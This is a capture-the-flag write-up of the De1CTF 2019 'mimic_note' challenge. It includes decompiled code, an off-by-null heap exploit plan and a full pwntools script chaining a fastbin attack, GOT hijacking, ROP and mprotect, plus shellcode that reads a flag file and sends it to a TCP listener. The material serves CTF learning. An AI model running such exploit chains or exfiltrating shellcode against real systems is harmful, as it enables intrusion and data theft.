Mid Station

[De1CTF2019] mimic_note

The mimic defense is a fancy idea, I don’t know how it works in real-world environment, but definitely interesting when it goes to a pwn challenge.

Recon

The challenge designer provides three binary: mimic, mimic_note_32, mimic_note_64. mimic is the one which we can interact with, the core logic looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
  for ( i = 0; i <= 1; ++i )
{
pipe((int *)(8LL * i + 6299888));
pipe((int *)(8LL * i + 6308096));
}
pid = vfork();
if ( !pid )
{
dup2(infds, 0);
dup2(dword_604104, 1);
for ( j = 0; j <= 1; ++j )
{
for ( k = 0; k <= 1; ++k )
{
close(*(&infds + 2LL * j + k));
close(*(&outfds + 2LL * j + k));
}
}
execve("./mimic_note_32", 0LL, 0LL);
}
v22 = vfork();
if ( !v22 )
{
dup2(dword_6020F8, 0);
dup2(dword_60410C, 1);
for ( l = 0; l <= 1; ++l )
{
for ( m = 0; m <= 1; ++m )
{
close(*(&infds + 2LL * l + m));
close(*(&outfds + 2LL * l + m));
}
}
execve("./mimic_note_64", 0LL, 0LL);
}
close(infds);
close(dword_604104);
close(dword_6020F8);
close(dword_60410C);
if ( pthread_create(&newthread, 0LL, read_stdin, 0LL) )
exit(-1);
for ( n = 0; n <= 1; ++n )
{
v3 = fcntl(*(&outfds + 2 * n), 3, 0LL);
v18 = v3;
BYTE1(v3) |= 8u;
fcntl(*(&outfds + 2 * n), 4, v3);
offsets[n] = 0;
}
v12 = 0;
while ( 1 )
{
for ( ii = 0; ii <= 1; ++ii )
{
v19 = waitpid(*(&pid + ii), &stat_loc, 1);
if ( v19 )
{
for ( jj = 0; jj <= 1; ++jj )
kill(*(&pid + jj), 9);
pthread_kill(newthread, 9);
exit(-1);
}
}
for ( kk = 0; kk <= 1; ++kk )
{
v4 = read(*(&outfds + 2 * kk), (char *)&bufs + 4096 * (signed __int64)kk + offsets[kk], 4096 - offsets[kk]);
v23[kk] = v4;
if ( v23[kk] > 0 )
offsets[kk] += v23[kk];
}
if ( offsets[0] == dword_6020E4 )
{
if ( offsets[0] )
{
v12 = 0;
if ( !memcmp(&bufs, &unk_603100, offsets[0]) )
{
write(1, &bufs, offsets[0]);
for ( ll = 0; ll <= 1; ++ll )
offsets[ll] = 0;
}
else
{
v12 = 31;
}
}
}
else
{
++v12;
}
if ( v12 > 29 )
{
puts("what are you trying to do?");
for ( mm = 0; mm <= 1; ++mm )
kill(*(&pid + mm), 9);
pthread_kill(newthread, 9);
exit(-1);
}
usleep(0x12Cu);
}
}

Frankly, I’m not that familiar with the pthread and pipe stuff, but I guess it is going to feed all the input to two child processes and check the outputs. To have a better understanding, I complied a “Hello World” program in both 32bit and 64bit. Then let this mimic program talk to them. As expected, the mimic program will redirect user’s input to two programs, and it will check whether the outputs are the same, if not, or either one of the programs dies, the interaction will be terminated immediately.

The mimic_note_64 and mimic_note_32 are quite simple, it contains a obvious off-by-null in edit function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
_BYTE *v0; // rax
signed int v2; // [rsp+8h] [rbp-8h]

puts("index ?");
v2 = get_int("index ?");
if ( v2 >= 0 && v2 <= 15 && notes[2 * v2] )
{
puts("content?");
v0 = (char *)notes[2 * v2] + (signed int)read(0, notes[2 * v2], LODWORD(notes[2 * v2 + 1]));
*v0 = 0; // [BUG] off-by-null
}
else
{
LODWORD(v0) = puts("invalid index");
}
return (signed int)v0;
}

Two program are compiled from the same source code, and the protections are in same configuration, and the libc version is 2.23.

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] '/Chanllage/De1CTF2019/mimic_note/mimic_note_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

[*] '/Chanllage/De1CTF2019/mimic_note/mimic_note_64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Exploit plan

off-by-null vulnerabilities are so normal in recent CTFs, so it is easy to exploit. Remember we DO NOT have RELRO and PIE protection here, so overwrite .bss and GOT is possible. Here are some questions I asked myself when thinking about the plan:

  1. How to make two programs have the same outputs until we get the flag?
    • Admittedly, this mimic defense technique is really strong protection. It prevents the attacker from doing the following things:
      • leak any address
      • print out the flag
    That means we need to bypass ASLR blindly and use a reverse shell to obtain the flag.
  2. Which target to choose as our target, 32 or 64?
    • My idea is to exploit one of the programs to trigger a reverse shell, while letting the other behave as normal. 32-bit program looks better as the first glance, since lower entropy in ASLR can make things easier if we need to brute-force. But I chose 64-bit because it has a handy gadget in the binary like pop rsp; ...; ret;, which make it possible to perform stack pivot and jump into long rop chain. I’m glad to hear if you have any solution regarding 32-bit program as an attack target.
  3. What kind of exploit techniques should be applied?
    • So it’s time to draw the exploit roadmap. First, we use posion-null-byte technique to create overlapping chunks. With the overlapping chunks, we can easily perform fastbin attack. Leaking addresses is not allowed and partial overwrite is also impossible (due to the off-by-one bug, any partial overwrite will end with \x00), so direct GOT hijacking does not work. But without PIE helps us to fastbin attack the .bss (we can freely create any fake size on it). By creating a pointer points to itself on .bss, we can have arbitrary R/W ability. Then I wrote atoi@got to 0x400c33(pop rdi; ret), and pivot into the input buffer of get_int function. And put another rop chain in the input buffer with 0x400c2d (pop rsp; pop r13; pop r14; pop r15; ret;), so we can do stack pivot to .bss. Next goal is ropping to call mprotect(0x602000, 0x1000, 7) and jmp to reverse shellcode.

Thoughts

After playing so many pwn challenges, some pattern can be concluded. Many exploit techniques are proposed to get shell, but they come with different flexibility. Quite often, we need to relay on those flexibilites to bypass some mitigation, such as seccomp or mimic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
                     Techniques                     Corresponding Mitigation

+-------------------------------+------------------------------+
| Hook hijacking(onegadget) | * |
| | |
Flexibility | | |
+ | GOT hijacking | Full-RELRO |
| | | |
| | | |
| | ROP | CFI |
v | | |
| | |
| Shellcode | DEP (NX) |
+-------------------------------+------------------------------+


Techniques Corresponding Mitigation

+-------------------------------+------------------------------+
| Hook hijacking(onegadget) | * |
Complexity | | |
+ | | |
| | GOT hijacking | Full-RELRO |
| | | |
| | | |
v | Shellcode | DEP (NX) |
| | |
| | |
| ROP | CFI |
+-------------------------------+------------------------------+

After playing so many pwn challenges, some pattern can be concluded. Many exploit techniques are proposed to get shell, but they come with different flexibility. Quite often, we need to rely on those flexibilities to bypass some mitigation, such as seccomp or mimic.
To gain enough flexibility to bypass strong mitigations, we usually at least need to get to ROP. But I consider that ROP has the most complexity, the major difficulty is finding proper gadgets and chain them together. For example, in this mimic challenge, our attack chain looks like: GOT hijacking -> ROP -> Shellcode.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
import re

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}

elf = ELF('./mimic_note_64')

if len(sys.argv) == 1:
# p = process('./mimic_note_64')
# p = process('./mimic_note_32')
p = process('./mimic')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

pop_rdi_ret = 0x400c33 #: pop rdi ; ret
pop_rsp_r13_r14_r15_ret = 0x400c2d
pop_rsi_r15 = 0x400c31 #: pop rsi ; pop r15 ; ret
add_ebx_esi = 0x4007d9 #: add ebx, esi ; ret
pop_rbx_x = 0x400c2a # : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_call_r12_rbx = 0x400c10 # : mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword[r12+rbx*8]


def new(size):
sla(">> ", "1")
sla("size?", str(size))

def delete(idx):
sla(">> ", "2")
sla("index ?", str(idx))

def show(idx):
sla(">> ", "3")
sla("index ?", str(idx))

def edit(idx, content):
sla(">> ", "4")
sla("index ?", str(idx))
sea("content?", content)

new(0x58)
new(0x58)
new(0x200)
new(0x100)
new(0x61)

edit(2, "A"*0x1f0 + p64(0x200))
delete(2)
edit(1, "A"*0x58) # offbyone

new(0xa0) #2
new(0x50) #5

delete(2)
delete(3)

new(0x310)
# overlapping chunk #2 and #5

# fastbin attack
delete(5)
edit(2, cyclic(0xa0) + p64(0) + p64(0x61) + p64(0x6020e0))

new(0x50)
new(0x50)
# now #5 points to itself, arbitrary R/W
# add some notes so that 32bit program can have same entry.
new(0x50) #6
new(0x300) #7

content = p64(0x6020f0) + p64(0x50) #5
content += p64(elf.got['atoi']) + p64(8) #6 GOT hijacking
content += p64(0x602220) + p64(0x300) #7 for ROP chain

edit(5, content)

rop = ROP(elf)
# fake puts: to mimic "Invalid Choice." when enter rop1
rop.raw(pop_rdi_ret)
rop.raw(0x400cf3)
rop.raw(elf.plt['puts'])
rop.raw(elf.symbols['menu'])
# overwrite read -> mprotect
rop.raw(pop_rdi_ret)
rop.raw(0)
rop.raw(pop_rsi_r15)
rop.raw(elf.got['read'])
rop.raw(0)
rop.raw(elf.plt['read'])
# fake puts: to mimic "Invalid Choice." when enter partial overwrite bytes.
rop.raw(pop_rdi_ret)
rop.raw(0x400cf3)
rop.raw(elf.plt['puts'])
rop.raw(elf.symbols['menu'])
# call mprotect
rop.raw(pop_rbx_x)
rop.raw(0) # rbx
rop.raw(1) # rbp
rop.raw(elf.got['read']) # r12
rop.raw(7) # r13 -> rdx
rop.raw(0x1000) # r14 -> rsi
rop.raw(0x602000) # r15 -> edi
rop.raw(mov_call_r12_rbx) # trigger mprotect(0x602000, 0x1000, 7)

sc = open('./sc.bin', 'r').read()

payload = rop.chain() + "A"*56 + p64(0x602310) + sc
# ^-----------shellcode address
p.info("len: %x" % len(payload))

edit(7, payload)
edit(6, p64(pop_rdi_ret))

# stack pivot to bss and enter rop.chain()
rop1 = ROP(elf)
rop1.raw(pop_rsp_r13_r14_r15_ret)
rop1.raw(0x602208)

ru(">> ")
se(rop1.chain())
ru(">> ")
# gdb.attach(p)
se(p16(0xe770)) # overwrite write->mprotect

p.close()

sc.bin is a raw shellcode file produced by Binary Ninja‘s great shellcode compiler. Once we reach the shellcode, it reads ./flag file and send it to our remote server.

1
2
3
4
5
6
7
8
void main()
{
char buf[0x40];
int fd = open("./flag", O_RDONLY, 0);
int s = create_tcp4_connection(IPV4_ADDR(127, 0, 0, 1), 1337);
read(fd, buf, 0x40);
send_all(s, buf, 0x40, 0);
}

The interesting part of exploiting it is how to guarantee the same outputs. So we need to mimic the normal behaviors when receive rop chain or overwriting bytes. We have to use rop to output “Invalid Choice”, otherwise both programs will be killed before we reach our shellcode. Also, the paritial overwrite have about 1/16 chance to success, so I setup nc -lvp 1337 on remote server and run the exp in loop on local machine. After a couple of tries, the flag is waitting for us on remote server.

Wrapup

Mimic defense is an interesting idea, for the pwn challenges with this settting, we should consider using ROP and then a reverse shellcode to get flag.